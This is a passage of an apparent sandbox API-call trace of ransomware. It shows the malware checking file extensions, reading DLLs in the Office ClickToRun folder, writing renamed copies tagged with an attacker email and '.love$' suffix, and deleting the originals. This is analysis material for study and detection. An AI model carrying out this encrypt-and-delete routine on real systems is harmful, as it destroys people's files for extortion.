lpString2=".dll") returned 1 [0284.685] lstrlenW (lpString=".bz2") returned 4 [0284.685] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.685] lstrlenW (lpString=".7z") returned 3 [0284.685] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.685] lstrlenW (lpString=".dbf") returned 4 [0284.685] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.685] lstrlenW (lpString=".1cd") returned 4 [0284.685] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.685] lstrlenW (lpString=".jpg") returned 4 [0284.685] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.685] lstrlenW (lpString=".doc") returned 4 [0284.685] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.685] lstrlenW (lpString=".docx") returned 5 [0284.685] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.685] lstrlenW (lpString=".pdf") returned 4 [0284.685] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.685] lstrlenW (lpString=".xls") returned 4 [0284.685] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.685] lstrlenW (lpString=".xlsx") returned 5 [0284.685] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.685] lstrlenW (lpString=".ppt") returned 4 [0284.685] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.686] lstrlenW (lpString=".zip") returned 4 [0284.686] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.686] lstrlenW (lpString=".rar") returned 4 [0284.686] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.686] lstrlenW (lpString=".bz2") returned 4 [0284.686] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.686] lstrlenW (lpString=".7z") returned 3 [0284.686] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.686] lstrlenW (lpString=".dbf") returned 4 [0284.686] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.686] lstrlenW (lpString=".1cd") returned 4 [0284.686] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.686] lstrlenW (lpString=".jpg") returned 4 [0284.686] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.686] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.686] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0284.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.688] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=24768) returned 1 [0284.688] CloseHandle (hObject=0x364) returned 1 [0284.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0284.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.688] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.688] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.690] GetLastError () returned 0x0 [0284.690] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0284.693] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0284.695] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.695] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x114, lpOverlapped=0x0) returned 1 [0284.695] SetEndOfFile (hFile=0x360) returned 1 [0284.695] CloseHandle (hObject=0x360) returned 1 [0284.695] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.695] SetEndOfFile (hFile=0x364) returned 1 [0284.697] CloseHandle (hObject=0x364) returned 1 [0284.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.697] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0284.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.697] lstrlenW (lpString=".doc") returned 4 [0284.697] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.697] lstrlenW (lpString=".docx") returned 5 [0284.697] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.697] lstrlenW (lpString=".pdf") returned 4 [0284.697] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.698] lstrlenW (lpString=".xls") returned 4 [0284.698] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.698] lstrlenW (lpString=".xlsx") returned 5 [0284.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.698] lstrlenW (lpString=".ppt") returned 4 [0284.698] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.698] lstrlenW (lpString=".zip") returned 4 [0284.698] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.698] lstrlenW (lpString=".rar") returned 4 [0284.698] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.698] lstrlenW (lpString=".bz2") returned 4 [0284.698] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.698] lstrlenW (lpString=".7z") returned 3 [0284.698] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.698] lstrlenW (lpString=".dbf") returned 4 [0284.698] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.698] lstrlenW (lpString=".1cd") returned 4 [0284.698] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.698] lstrlenW (lpString=".jpg") returned 4 [0284.698] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.698] lstrlenW (lpString=".doc") returned 4 [0284.698] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.698] lstrlenW (lpString=".docx") returned 5 [0284.699] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.699] lstrlenW (lpString=".pdf") returned 4 [0284.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.699] lstrlenW (lpString=".xls") returned 4 [0284.699] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.699] lstrlenW (lpString=".xlsx") returned 5 [0284.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.699] lstrlenW (lpString=".ppt") returned 4 [0284.699] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.699] lstrlenW (lpString=".zip") returned 4 [0284.699] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.699] lstrlenW (lpString=".rar") returned 4 [0284.699] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.699] lstrlenW (lpString=".bz2") returned 4 [0284.699] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.699] lstrlenW (lpString=".7z") returned 3 [0284.699] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.699] lstrlenW (lpString=".dbf") returned 4 [0284.699] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.699] lstrlenW (lpString=".1cd") returned 4 [0284.699] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0284.699] lstrlenW (lpString=".jpg") returned 4 [0284.699] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.700] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.700] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0284.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.701] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=21184) returned 1 [0284.701] CloseHandle (hObject=0x364) returned 1 [0284.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0284.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.701] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.701] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.703] GetLastError () returned 0x0 [0284.703] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0284.892] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0284.894] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.894] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x110, lpOverlapped=0x0) returned 1 [0284.894] SetEndOfFile (hFile=0x360) returned 1 [0284.894] CloseHandle (hObject=0x360) returned 1 [0284.894] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.894] SetEndOfFile (hFile=0x364) returned 1 [0284.895] CloseHandle (hObject=0x364) returned 1 [0284.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0284.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.898] lstrlenW (lpString=".doc") returned 4 [0284.898] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.898] lstrlenW (lpString=".docx") returned 5 [0284.898] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.898] lstrlenW (lpString=".pdf") returned 4 [0284.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.898] lstrlenW (lpString=".xls") returned 4 [0284.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.898] lstrlenW (lpString=".xlsx") returned 5 [0284.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.899] lstrlenW (lpString=".ppt") returned 4 [0284.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.899] lstrlenW (lpString=".zip") returned 4 [0284.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.899] lstrlenW (lpString=".rar") returned 4 [0284.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.899] lstrlenW (lpString=".bz2") returned 4 [0284.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.899] lstrlenW (lpString=".7z") returned 3 [0284.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.899] lstrlenW (lpString=".dbf") returned 4 [0284.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.899] lstrlenW (lpString=".1cd") returned 4 [0284.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.899] lstrlenW (lpString=".jpg") returned 4 [0284.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.899] lstrlenW (lpString=".doc") returned 4 [0284.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.899] lstrlenW (lpString=".docx") returned 5 [0284.899] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.899] lstrlenW (lpString=".pdf") returned 4 [0284.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.899] lstrlenW (lpString=".xls") returned 4 [0284.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.899] lstrlenW (lpString=".xlsx") returned 5 [0284.899] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.900] lstrlenW (lpString=".ppt") returned 4 [0284.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.900] lstrlenW (lpString=".zip") returned 4 [0284.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.900] lstrlenW (lpString=".rar") returned 4 [0284.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.900] lstrlenW (lpString=".bz2") returned 4 [0284.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.900] lstrlenW (lpString=".7z") returned 3 [0284.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.900] lstrlenW (lpString=".dbf") returned 4 [0284.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.900] lstrlenW (lpString=".1cd") returned 4 [0284.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0284.900] lstrlenW (lpString=".jpg") returned 4 [0284.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.900] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.900] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0284.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.901] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=210648) returned 1 [0284.901] CloseHandle (hObject=0x364) returned 1 [0284.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0284.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.902] lstrlenW (lpString=".doc") returned 4 [0284.902] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.902] lstrlenW (lpString=".docx") returned 5 [0284.902] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0284.902] lstrlenW (lpString=".pdf") returned 4 [0284.902] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.902] lstrlenW (lpString=".xls") returned 4 [0284.902] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.902] lstrlenW (lpString=".xlsx") returned 5 [0284.902] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0284.902] lstrlenW (lpString=".ppt") returned 4 [0284.902] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.902] lstrlenW (lpString=".zip") returned 4 [0284.902] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.902] lstrlenW (lpString=".rar") returned 4 [0284.902] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.902] lstrlenW (lpString=".bz2") returned 4 [0284.902] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.902] lstrlenW (lpString=".7z") returned 3 [0284.902] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.902] lstrlenW (lpString=".dbf") returned 4 [0284.902] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.902] lstrlenW (lpString=".1cd") returned 4 [0284.902] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.902] lstrlenW (lpString=".jpg") returned 4 [0284.903] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.903] lstrlenW (lpString=".doc") returned 4 [0284.903] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.903] lstrlenW (lpString=".docx") returned 5 [0284.903] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0284.903] lstrlenW (lpString=".pdf") returned 4 [0284.903] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.903] lstrlenW (lpString=".xls") returned 4 [0284.903] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.903] lstrlenW (lpString=".xlsx") returned 5 [0284.903] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0284.903] lstrlenW (lpString=".ppt") returned 4 [0284.903] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.903] lstrlenW (lpString=".zip") returned 4 [0284.903] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.903] lstrlenW (lpString=".rar") returned 4 [0284.903] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.903] lstrlenW (lpString=".bz2") returned 4 [0284.903] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.903] lstrlenW (lpString=".7z") returned 3 [0284.903] lstrcmpiW 